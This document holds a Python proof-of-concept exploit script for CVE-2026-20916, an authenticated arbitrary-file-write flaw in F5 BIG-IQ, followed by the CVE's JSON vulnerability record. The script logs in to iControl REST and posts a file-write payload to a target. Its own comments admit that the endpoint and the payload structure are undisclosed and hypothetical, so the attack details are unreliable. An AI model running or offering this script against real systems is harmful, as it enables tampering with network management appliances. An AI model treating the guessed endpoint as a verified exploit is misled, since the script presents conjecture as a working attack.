CVE-2026-20916

#!/usr/bin/env python3 import requests import sys # CVE-2026-20916 PoC Generator # Target: F5 BIG-IQ # Description: Authenticated low-priv user can create/modify arbitrary files via undocumented endpoint. def exploit(target_url, username, password, file_path, content): session = requests.Session() # 1. Authentication login_url = f"{target_url}/mgmt/shared/authn/login" login_payload = {"username": username, "password": password, "loginProviderName": "tmos"} try: resp = session.post(login_url, json=login_payload, verify=False) if resp.status_code != 200: print("[-] Login failed") return token = resp.json().get('token', {}).get('token') print(f"[+] Logged in. Token: {token[:20]}...") except Exception as e: print(f"[-] Error during login: {e}") return # 2. Exploit Arbitrary File Write # Note: The exact endpoint is undisclosed, this represents the attack logic. headers = {"X-F5-Auth-Token": token} exploit_url = f"{target_url}/mgmt/cm/system/tasks/" # Payload structure to write file (Hypothetical based on vulnerability description) exploit_payload = { "filePath": file_path, "mode": "write", "content": content } print(f"[*] Attempting to write to {file_path}...") try: # Sending request to the vulnerable endpoint write_resp = session.post(exploit_url, json=exploit_payload, headers=headers, verify=False) if write_resp.status_code == 200 or write_resp.status_code == 202: print("[+] Exploit successful! File created/modified.") else: print(f"[-] Exploit failed. Status: {write_resp.status_code}") print(write_resp.text) except Exception as e: print(f"[-] Error during exploit: {e}") if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <url> <user> <pass> <file_path> [content]") print("Example: python cve-2026-20916.py https://192.168.1.100 admin pass /tmp/pwn.txt 'hello'") sys.exit(1) url = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] path = sys.argv[4] data = sys.argv[5] if len(sys.argv) > 5 else "CVE-2026-20916 POC" exploit(url, user, pwd, path, data)

{"cve": {"id": "CVE-2026-20916", "sourceIdentifier": "[email protected]", "published": "2026-05-13T16:16:36.210", "lastModified": "2026-05-13T16:27:11.127", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "An authenticated iControl REST user with low privileges can create or modify arbitrary files through an undisclosed iControl REST endpoint on the BIG-IQ system.\n Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://my.f5.com/manage/s/article/K000158029", "source": "[email protected]"}]}}